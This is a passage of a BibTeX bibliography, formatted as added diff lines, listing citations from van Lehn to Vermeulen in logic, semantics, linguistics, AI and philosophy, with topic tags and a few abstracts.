+ author = {Kurt VanLehn}, + title = {Artificial Intelligence Programming}, + year = {1992}, + note = {Unpublished manuscript, Computer Science Department, + University of Pittsburgh. Course notes.}, + topic = {AI-programming;} + } + +@inproceedings{ vanleijan-druzdzel:1998a, + author = {Hans {van Leijan} and Marek Druzdzel}, + title = {Reversible Causal Mechanisms in {B}ayesian Networks}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {24--30}, + topic = {Bayesian-networks;causality;} + } + +@incollection{ vanlinder-etal:1995a, + author = {Bernd {van Linder} and Wiebe {van der Hoek} and John-Jules Meyer}, + title = {Actions that Make you Change Your Mind}, + booktitle = {Knowledge and Belief in Philosophy and Artificial + Intelligence}, + publisher = {Akedemie Verlag}, + year = {1995}, + editor = {Armin Laux and Heinrich Wansing}, + pages = {103--146}, + address = {Berlin}, + topic = {epistemic-logic;dynamic-logic;} + } + +@article{ vanlinder-etal:1997a, + author = {B. {van Linder} and Wiebe {van der Hoek} and {John-Jules Ch.} + Meyer}, + title = {Seeing is Believing, {\it and So are Hearing and Jumping}}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {1}, + pages = {33--61}, + topic = {logic-of-perception;reasoning-about-mental-states; + agent-modeling;} + } + +@article{ vannoord:1997a, + author = {Gertjan {van Noord}}, + title = {An Efficient Implementation of the Head-Corner Parser}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {3}, + pages = {425--456}, + topic = {parsing-algorithms;parsing-optimization;} + } + +@incollection{ vannoord:1998a, + author = {Gertjan {van Noord}}, + title = {Treatment of $\epsilon$-Moves in Subset Construction}, + booktitle = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Lauri Karttunen}, + pages = {57--68}, + address = {Somerset, New Jersey}, + topic = {finite-state-automata;construction-of-FSA;} + } + +@article{ vannoord:2000a, + author = {Gertjan van Noord}, + title = {Treatment of Epsilon Moves in Subset Construction}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {1}, + pages = {61--76}, + topic = {finite-state-nlp;finite-state-automata;} + } + +@article{ vanplato:2002a, + author = {Jan van Plato}, + title = {Review of {\it Proof Theory: History and Philosophical + Significance}, by {V}incent {F}. Hendriks and {S}tig {A}rthur + {P}ederson and {K}laus {F}rovin {J\o}rgenson}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {3}, + pages = {431--432}, + xref = {Review of: hendriks_vf-etal:2000a.}, + topic = {proof-theory;} + } + +@book{ vanrijsbergen:1979a, + author = {C.J. {Van Rijsbergen}}, + title = {Information Retrieval}, + publisher = {Butterworths}, + year = {1979}, + address = {London}, + topic = {information-retrieval;vector-space-model;} + } + +@book{ vanrootselaar-staal:1967a, + editor = {B. van Rootselaar}, + title = {Logic, Methodology, and Philosophy of Science {III}}, + publisher = {North-Holland Publishing Co.}, + year = {1967}, + address = {Amsterdam}, + topic = {mathematical-logic;philosophy-of-science;} + } + +@incollection{ vanrooy:1999a, + author = {Robert van Rooy}, + title = {Questioning to Resolve Decision Problems}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {211--216}, + address = {Amsterdam}, + topic = {interrogatives;decision-theory;} + } + +@article{ vanrooy:2001a, + author = {Robert van Rooy}, + title = {Exhaustivity in Dynamic Semantics: Referential and + Descriptive Pronouns}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {5}, + pages = {621--657}, + topic = {anaphora;reference;dynamic-logic;} + } + +@incollection{ vanrooy:2002a, + author = {Robert van Rooy}, + title = {Relevance Only}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {155--160}, + address = {Edinburgh}, + topic = {sentence-focus;`only';} + } + +@article{ vansanten:1998a, + author = {Jan P.H. van Santen}, + title = {Review of {\it Handbook of Standards and Resources for + Spoken Language Systems}, edited by {D}affyd {G}ibbon and + {R}oger {M}oore and {R}ichard {W}inski}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {3}, + pages = {512--515}, + xref = {Review of: gibbon-etal:1997a.}, + topic = {speech-generation;speech-recognition;} + } + +@book{ vansanten-etal:1997a, + editor = {Jan P.H. van Santen and Richard W. Sproat and Joseph P. Olive + and Julia Hirschberg}, + title = {Progress in Speech Synthesis}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + note = {Includes CD-ROM}, + ISBN = {0-387-94701-9}, + xref = {Review: williams_b:1998a.}, + topic = {speech-generation;} + } + +@article{ vanvoorst:1992a, + author = {Jan van Voorst}, + title = {The Aspectual Semantics of Psychological Verbs}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {1}, + pages = {65--92}, + topic = {argument-structure;event-semantics;} + } + +@inproceedings{ vardi:1985a, + author = {Moshe Y. Vardi}, + title = {A Model-Theoretic Analysis of Monotonic Knowledge}, + booktitle = {Proceedings of the Ninth International Joint + Conference on Artificial Intelligence}, + year = {1985}, + editor = {Arivind Joshi}, + pages = {509--512}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {epistemic-logic;} + } + +@inproceedings{ vardi:1986a, + author = {Moshe Y. Vardi}, + title = {On Epistemic Logic and Logical Omniscience}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {293--305}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {hyperintensionality;epistemic-logic;} + } + +@book{ vardi:1988a, + editor = {Moshe Y. Vardi}, + title = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Conference ({TARK} 1988)}, + year = {1988}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {reasoning-about-knowledge;} + } + +@inproceedings{ vardi:1989a, + author = {Moshe Y. Vardi}, + title = {On the Complexity of Epistemic Reasoning}, + booktitle = {Proceedings of the Fourth {IEEE} Symposium on + Logic in Computer Science}, + year = {1989}, + pages = {243--252}, + organization = {{IEEE}}, + missinginfo = {editor, publisher, address}, + topic = {epistemic-logic;algorithmic-complexity;} + } + +@incollection{ vardi:1996a, + author = {Moshe Y. Vardi}, + title = {Implementing Knowledge-Based Programs}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {15--30}, + address = {San Francisco}, + topic = {knowledge-based-programming;} + } + +@book{ varile-zampolli:1997a, + editor = {Giovanni Battista Varile and Antonio Zampolli}, + title = {Survey of the State of the Art in Human Language Technology}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + ISBN = {8842700185}, + xref = {Review: akman:1999a.}, + topic = {nlp-technology;} + } + +@article{ varis:1998a, + author = {Olli Varis}, + title = {A Belief Network Approach to Optimization and Parameter + Estimation: Application to Resource and Environmental + Management}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {101}, + number = {1--2}, + pages = {135--163}, + topic = {Bayesian-networks;optimization;} + } + +@article{ varzi:1997a, + author = {Achille C. Varzi}, + title = {Boundaries, Continuity, and Contact}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {1}, + pages = {26--58}, + topic = {philosophy-of-geometry;continuity;} + } + +@article{ varzi:2001a, + author = {Achille C. Varzi}, + title = {The Best Question}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {3}, + pages = {251--265}, + topic = {interrogatives;} + } + +@book{ vaske-grantham:1990a, + author = {Jerry J. Vaske and Charles E. Grantham}, + title = {Socializing the Human-Computer Environment}, + publisher = {Ablex Publishing Corp.}, + year = {1990}, + address = {Norwood, New Jersey}, + ISBN = {0893914711}, + topic = {HCI;} + } + +@incollection{ vassallo:2001a, + author = {Nicla Vassallo}, + title = {Contexts and Philosophical Problems of Knowledge}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {353--366}, + address = {Berlin}, + topic = {context;epistemology;skepticism;} + } + +@incollection{ vazov:1999a, + author = {Nikolai Vazov}, + title = {Context-Scanning Strategy in Temporal + Reasoning}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {389--402}, + address = {Berlin}, + topic = {context;temporal-reasoning;} + } + +@incollection{ veenstra-vondenbosch:2000a, + author = {Jorn Veenstra and Antel van den Bosch}, + title = {Single-Classifier Memory-Based Phrase Chunking}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {157--159}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;text-chunking;} + } + +@inproceedings{ velasquez:1998a, + author = {Juan D. Vel\'asquez}, + title = {Modeling Emotions and Other Motivations in Synthetic + Agents}, + booktitle = {Proceedings of the Fourteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference}, + year = {1998}, + editor = {Ted Senator and Bruce Buchanan}, + pages = {10--21}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {synthesized-emotions;} + } + +@article{ velemans:1993a, + author = {M. Velmans}, + title = {Consciousness, Causality, and Complementarity}, + journal = {Behavioral and Brain Sciences}, + year = {1993}, + volume = {16}, + pages = {409--415}, + missinginfo = {A's 1st name, number}, + topic = {consciousness;} , + } + +@book{ velleman_dj:1994a, + author = {Daniel. J. Velleman}, + title = {How to Prove It}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + topic = {mathematics-intro;human-theorem-proving;} + } + +@book{ velleman_jd:1989a, + author = {J. David Velleman}, + title = {Practical Reflection}, + publisher = {Princeton University Press}, + year = {1989}, + address = {Princeton, New Jersey}, + topic = {philosophy-of-action;} + } + +@article{ velleman_jd:1993a, + author = {J. David Velleman}, + title = {The Story of Rational Action}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {1}, + pages = {229--254}, + topic = {foundations-of-utility;} + } + +@article{ velleman_jd:1997a, + author = {J. David Velleman}, + title = {How to Share an Intention}, + journal = {Journal of Philosophy and Phenomenological Research}, + year = {1997}, + volume = {57}, + number = {1}, + pages = {29--50}, + topic = {intention;group-attitudes;} + } + +@article{ velleman_jd:1998a, + author = {J. David Velleman}, + title = {Self to Self}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {105}, + number = {1}, + pages = {39--76}, + topic = {personal-identity;} + } + +@incollection{ velleman_jd:2000a, + author = {J. David Velleman}, + title = {From Self Psychology to Moral Philosophy}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {349--377}, + address = {Oxford}, + topic = {cognitive-dissonance;philosophical-psychology;} + } + +@article{ velmans:1991a, + author = {M. Velmans}, + title = {Is Human Information Processing Conscious?}, + journal = {Behavioral and Brain Sciences}, + year = {1991}, + volume = {14}, + pages = {651--669}, + missinginfo = {A's 1st name, number}, + topic = {consciousness;} , + } + +@article{ velmans:1991b, + author = {M. Velmans}, + title = {Consciousness from a First-Person Perspective}, + journal = {Behavioral and Brain Sciences}, + year = {1991}, + volume = {14}, + pages = {702--726}, + missinginfo = {A's 1st name, number}, + topic = {consciousness;} , + } + +@inproceedings{ veloso:1992a, + author = {Manuela Veloso}, + title = {Automatic Storage, Retrieval, and Replay of Multiple Cases + Using Derivational Analogy in {\sc prodigy}}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Computational Considerations in Supporting Incremental + Modification and Reuse}, + year = {1992}, + pages = {131--136}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {planning;plan-reuse;} + } + +@article{ veloso-etal:2000a, + author = {Manuela Veloso and Michael Bowling and Sorin Achim + and Kwan Han and Peter Stone}, + title = {{\sc Cmunited}-98 Small-Robot World Championship Team}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {1}, + pages = {29--36}, + topic = {robotics;RoboCup;} + } + +@incollection{ veltman:1984a, + author = {Frank Veltman}, + title = {Data Semantics}, + booktitle = {Truth, Interpretation, and Information: Selected Papers + from the Third {A}msterdam Colloquium}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Jeroen Groenendijk and Theo Janssen and Martin Stokhof}, + pages = {43--65}, + address = {Dordrecht}, + topic = {dynamic-logic;nonmonotonic-reasoning;} + } + +@phdthesis{ veltman:1985a, + author = {Frank Veltman}, + title = {Logics for Conditionals}, + school = {University of Amsterdam}, + year = {1985}, + type = {Ph.{D}. Dissertation}, + address = {Amsterdam}, + topic = {conditionals;} + } + +@incollection{ veltman:1986a, + author = {Frank Veltman}, + title = {Data Semantics and the Pragmatics of Indicative Conditionals}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + address = {Cambridge, England}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly + and Charles Ferguson}, + missinginfo = {147--167}, + topic = {dynamic-logic;nonmonotonic-reasoning;conditionals;} + } + +@incollection{ veltman:1990a, + author = {Frank Veltman}, + title = {Defaults in Update Semantics {I}}, + booktitle = {Conditionals, Defaults, and Belief Revision}, + publisher = {Institut f\"ur maschinelle Sprachverarbeitung, + Universit\"at Stuttgart}, + year = {1990}, + note = {Dyana Deliverable R2.5.A.}, + editor = {Hans Kamp}, + pages = {28--64}, + address = {Stuttgart}, + topic = {conditionals;belief-revision;nonmonotonic-logic;} + } + +@inproceedings{ veltman:1990b1, + author = {Frank Veltman and Ewan Klein and Mark Moens}, + title = {Default Reasoning and Dynamic Interpretation of Natural + Language}, + booktitle = {{ESPRIT'90}. Proceedings of the annual {ESPRIT} + Conference, {B}russels, {N}ovember 12--15, 1990}, + year = {1990}, + pages = {52--63}, + publisher = {Kluwer}, + address = {Dordrecht}, + missinginfo = {editor}, + xref = {Published in collection: veltman:1990b2.}, + topic = {nonmonotonic-logic;dynamic-logic;nl-semantics;nm-ling;} + } + +@incollection{ veltman:1990b2, + author = {Frank Veltman and Ewan Klein and Mark Moens}, + title = {Default Reasoning and Dynamic Interpretation of Natural + Language}, + booktitle = {Non-Monotonic Reasoning and Partial Semantics}, + publisher = {Ellis Horwood}, + year = {1992}, + editor = {Wiebe van der Hoek et al.}, + pages = {21--36}, + address = {Chichester, England}, + missinginfo = {Other editors}, + xref = {Proceedings publication: veltman:1990b1.}, + topic = {nonmonotonic-logic;dynamic-logic;nl-semantics;nm-ling;} + } + +@article{ veltman:1996a, + author = {Frank Veltman}, + title = {Defaults in Update Semantics}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {3}, + pages = {221--261}, + topic = {dynamic-logic;nonmonotonic-reasoning;} + } + +@article{ vendler:1957a, + author = {Zeno Vendler}, + title = {Verbs and Times}, + journal = {Philosophical Review}, + year = {1957}, + volume = {46}, + pages = {143--160}, + topic = {Aktionsarten;} + } + +@incollection{ vendler:1962a, + author = {Zeno Vendler}, + title = {Reactions and Retractions}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {25--31}, + address = {New York}, + topic = {ordinary-language-philosophy;causality;} + } + +@article{ vendler:1965a, + author = {Zeno Vendler}, + title = {Comments}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {20}, + pages = {602--605}, + xref = {Commentary on: katz_jj:1965a.}, + topic = {philosophy-and-linguistics;} + } + +@book{ vendler:1967a, + author = {Zeno Vendler}, + title = {Linguistics in Philosophy}, + publisher = {Cornell University Press}, + year = {1967}, + address = {Ithaca, NY}, + topic = {philosophy-of-language;Aktionsarten;} + } + +@article{ vendler:1967b1, + author = {Zeno Vendler}, + title = {Causal Relations}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {21}, + pages = {704--713}, + xref = {Republication: vendler:1967b2.}, + topic = {causality;} + } + +@incollection{ vendler:1967b2, + author = {Zeno Vendler}, + title = {Causal Relations}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {255--261}, + address = {Encino, California}, + xref = {Original Publication: vendler:1967b1.}, + topic = {causality;} + } + +@incollection{ vendler:1975a, + author = {Zeno Vendler}, + title = {On What We Know}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + editor = {Keith Gunderson}, + pages = {370--390}, + address = {Minneapolis, Minnesota}, + topic = {propositional-attitudes;interrogatives;} + } + +@incollection{ vendler:1975b, + author = {Zeno Vendler}, + title = {Reply to {P}rofessor {A}une}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + editor = {Keith Gunderson}, + pages = {400--402}, + address = {Minneapolis, Minnesota}, + topic = {propositional-attitudes;interrogatives;} + } + +@incollection{ vendler:1978a, + author = {Zeno Vendler}, + title = {Telling the Facts}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {220--232}, + address = {Minneapolis}, + topic = {facts;presuppositions;nl-semantics;} + } + +@article{ vendler:1984a1, + author = {Zeno Vendler}, + title = {Agency and Causation}, + journal = {Midwest Studies in Philosophy}, + year = {1984}, + volume = {9}, + pages = {371--384}, + xref = {Republication: vendler:1984a2.}, + topic = {agency;causality;} + } + +@incollection{ vendler:1984a2, + author = {Zeno Vendler}, + title = {Agency and Causation}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {371--384}, + address = {Minneapolis}, + xref = {Republication of: vendler:1984a1.}, + topic = {action;causality;} + } + +@article{ venema:1992a, + author = {Yde Venema}, + title = {A Note on the Tense Logic of Dominoes}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {2}, + pages = {173--182}, + topic = {temporal-logic;modal-logic;} + } + +@incollection{ venema:1993a, + author = {Yde Venema}, + title = {Completeness via Completeness: Since and Until}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {349--358}, + address = {Dordrecht}, + topic = {temporal-logics;completeness-theorems;} + } + +@article{ venema:1994a, + author = {Yde Venema}, + title = {Tree Models and (Labled) Categorial Grammar}, + journal = {Journal of Logic, Language, and Information}, + year = {1994}, + volume = {5}, + number = {3--4}, + pages = {253--277}, + topic = {categorial-grammar;labelled-deductive-systems;} + } + +@article{ venema:1995a, + author = {Yde Venema}, + title = {Meeting Strength in Substructural Logics}, + journal = {Studia Logica}, + year = {1995}, + volume = {54}, + number = {1}, + pages = {3--32}, + topic = {proof-theory;substructural-logics;} + } + +@incollection{ venema:1995c, + author = {Yde Venema}, + title = {Meeting a Modality? Restricted Permutation for the {L}ambek + Calculus}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {343--361}, + address = {Dordrecht}, + topic = {Lambek-calculus;} + } + +@incollection{ venema:1996a, + author = {Yde Venema}, + title = {A Crash Course in Arrow Logic}, + booktitle = {Arrow Logic and Multimodal Logic}, + publisher = {{CLSI} Publications}, + year = {1996}, + editor = {Maarten Marx and L\'azl\'o P\'olos and Michael Masuch}, + pages = {3--34}, + address = {Stanford, California}, + topic = {arrow-logic;} + } + +@article{ venema:1997a, + author = {Yde Venema}, + title = {Editorial: Modal Logic and Dynamic Semantics}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {4}, + pages = {357--360}, + topic = {modal-logic;dynamic-logic;} + } + +@incollection{ venema:1998a, + author = {Yde Venema}, + title = {Atom Structures}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {291--305}, + address = {Stanford, California}, + topic = {modal-logic;} + } + +@article{ venema:2000a, + author = {Yde Venema}, + title = {Review of {\it Modal Logic}, by {A}lexander {C}hagov and + {M}ichael {Z}akharyaschev}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {2}, + pages = {286--289}, + xref = {Review of chagov-zakharyaschev:1997a.}, + topic = {modal-logic;} + } + +@incollection{ venema:2001a, + author = {Yde Venema}, + title = {Dynamic Models in Their Logical Surroundings}, + booktitle = {Logic in Action}, + publisher = {Institute for Logic, Language, and Computation, + University of Amsterdam}, + year = {2001}, + editor = {Johan van Benthen and Paul Dekker and Jan van Eijk and + Maarten de Rijke and Yde Venema}, + pages = {115--153}, + address = {Amsterdam}, + topic = {dynamic-logic;mutual-belief;} + } + +@article{ venkataraman:2001a, + author = {Anand Venkataraman}, + title = {A Statistical Model for Word Discovery in Transcribed + Speech}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {3}, + pages = {351--372}, + topic = {machine-learning;speech-recognition;} + } + +@article{ venneman:1972a, + author = {Theo Vennemann}, + title = {Phonological Uniqueness in Natural Generative Grammar}, + journal = {Glossa}, + volume = {6}, + year = {1972}, + pages = {105--116}, + topic = {phonology;} + } + +@incollection{ venneman:1975a, + author = {Theo Venneman}, + title = {Topics, Sentence Accent, Ellipsis: A Proposal for Their + Formal Treatment}, + booktitle = {Formal Semantics of Natural Language}, + publisher = {Cambridge University Press}, + year = {1975}, + editor = {Edward L. Keenan}, + pages = {313--328}, + address = {Cambridge, England}, + topic = {s-topic;ellipsis;pragmatics;} + } + +@inproceedings{ verbayne-etal:2000a, + author = {Alan Verbayne and Frank van Harmelen and Annette + ten Teije}, + title = {Anytime Diagnostic Reasoning Using Approximate + {B}oolean Constraint Propagation}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {323--332}, + topic = {diagnosis;constraint-propagation;} + } + +@article{ verbrugge:1999a, + author = {Rineke Verbrugge}, + title = {Review of {\it Epistemic Logic for {AI} and Computer + Science}, by {John-Jules Ch.} Meyer and {W}iebe {van der Hoek}}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {4}, + pages = {1837--1840}, + xref = {Review of meyer_jjc-vanderhoek:1995a.}, + topic = {epistemic-logic;logic-in-AI;} + } + +@incollection{ verdumas-etal:2000a, + author = {Jose Luis Verd\'u-Mas and Jorge Calera-Rubio and Rafael + C. Carrasco}, + title = {A Comparison of {PCFG} Models}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {123--125}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;probabilistic-context-free-grammars;} + } + +@article{ vere:1977a, + author = {Steven A. Vere}, + title = {Relational Production Systems}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {1}, + pages = {47--68}, + acontentnote = {Abstract: + A relational production system (rps) is a general purpose, + formal information processing model developed to support + research in artificial intelligence and related areas where a + conjunction of predicate calculus literals is a convenient state + description language. Rps maintains a strong analogy with type 0 + string grammars. It consists of a ``situation'', which is a + conjunction of literals, and an unordered set of ``relational + productions'', analogous to type 0 string productions. These + productions cause the replacement of a subset of literals in the + situation by other literals, just as type 0 string productions + cause the replacement of substrings by other substrings. + Predictably, this system resembles the more empirical, existing + knowledge representation systems, particularly STRIPS, while + maintaining a mathematical precision and simplicity which allows + proof of useful results. Rps is first defined and exercised on + some familiar examples. A relational production composition + theorem is then formulated and proved. It is demonstrated that + without a sponge-like component in the antecedent of a + production, composition of two arbitrary productions is in + general impossible. } , + topic = {rule-based-reasoning;} + } + +@article{ vere:1980a, + author = {Steven A. Vere}, + title = {Multilevel Counterfactuals for Generalizations of + Relational Concepts and Productions}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {14}, + number = {2}, + pages = {139--164}, + acontentnote = {Abstract: + In the induction of relational concepts and productions from + examples and counterexamples, a `counterfactual' is a set of + conditions which must be false if a generalization is to be + satisfied. Multilevel counterfactuals may themselves contain + counterfactuals nested to any level, providing a series-like + concept representation mechanism. An algorithm is presented, + with correctness proof, which computes multilevel + counterfactuals by recursively reducing the original induction + problem to a smaller `residual' problem whose generalization + gives the desired counterfactual. Winston's empirical method + for determining `must-not' conditions (single level + counterfactuals) is shown to yield erroneous results in certain + rather ordinary circumstances. Computed examples are presented + for the generalization of complex geometric scenes and the + learning of blocksworld operators without resorting to the + common CLEARTOP expedient. } , + topic = {conditionals;machine-learning;} + } + +@book{ verkuyl:1972a, + author = {Henk J. Verkuyl}, + title = {On the Compositional Nature of the Aspects}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + address = {Dordrecht}, + topic = {nl-semantics;tense-aspect;Aktionsarten;} + } + +@article{ verkuyl:1980a, + author = {Henk J. Verkuyl}, + title = {On the Proper Classification of Events and Verb Phrases}, + journal = {Theoretical Linguistics}, + year = {1980}, + volume = {7}, + number = {1/2}, + pages = {137--148}, + topic = {nl-semantics;tense-aspect;Aktionsarten;} + } + +@article{ verkuyl-lelouxschuringa:1985a, + author = {H.J. Verkuyl and J.A. le Loux-Schuringa}, + title = {Once Upon a Tense}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {2}, + pages = {237--261}, + topic = {nl-tense;} + } + +@incollection{ verkuyl:1986a, + author = {Henk J. Verkuyl}, + title = {Nondurative Closure of Events}, + booktitle = {Studies in Discourse Representation Theory and the Theory of + Generalized Quantifiers}, + publisher = {Foris Publications}, + year = {1986}, + editor = {Jeroen Groenendijk and Dick de Jongh and Martin Stokhof}, + pages = {87--113}, + address = {Dordrecht}, + topic = {tense-aspect;pragmatics;} + } + +@article{ verkuyl:1989a, + author = {Henk J. Verkuyl}, + title = {Aspectual Classes and Aspectual Composition}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {1}, + pages = {39--94}, + topic = {nl-semantics;tense-aspect;Aktionsarten;} + } + +@techreport{ verkuyl-vanderdoes:1991a, + author = {Henk J. Verkuyl and Jaap {van der Does}}, + title = {The Semantics of Plural Noun Phrases}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP-91-07}, + year = {1991}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland } , + topic = {nl-semantics;plural;} + } + +@article{ verkuyl-vermeulen:1996a, + author = {Henk J. Verkuyl and Cees F.M. Vermeulen}, + title = {Shifting Perspectives in Discourse}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {5}, + pages = {503--526}, + topic = {events;dynamic-semantics;discourse;pragmatics;} + } + +@article{ vermeulen:1993a, + author = {Cees F.M. Vermeulen}, + title = {Sequence Semantics for Dynamic Predicate Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {2}, + number = {3}, + pages = {217--254}, + topic = {dynamic-logic;dynamic-predicate-logic;} + } + +@article{ vermeulen:1995a, + author = {Cees F.M. Vermeulen}, + title = {Merging Without Mystery or: Variables in Dynamic Semantics}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {4}, + pages = {405--450}, + topic = {dynamic-semantics;discourse-representation-theory; + file-change-semantics;pragmatics;referent-systems;} + } + +@incollection{ vermeulen:1995b, + author = {Cees F.M. Vermeulen}, + title = {Update Semantics for Propositional Texts}, + booktitle = {Applied Logic: How, What, and Why? Logical Approaches to + Natural Language}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {L\'aszl\'o P\'olos and Michael Masuch}, + pages = {363--386}, + address = {Dordrecht}, + topic = {discourse;discourse-representation-theory;pragmatics;} + } + +@article{ vermeulen-visser:1996a, + author = {Cees F.M Vermeulen and Albert Visser}, + title = {Dynamic Bracketing and Discourse Representation}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1996}, + volume = {37}, + pages = {321--365}, + topic = {discourse-representation-theory;dynamic-logic; + referent-systems;} + } + +@incollection{ vermeulen:1999a, + author = {Cees F.M Vermeulen}, + title = {Two Approaches to Modal Interaction in Discourse}, + booktitle 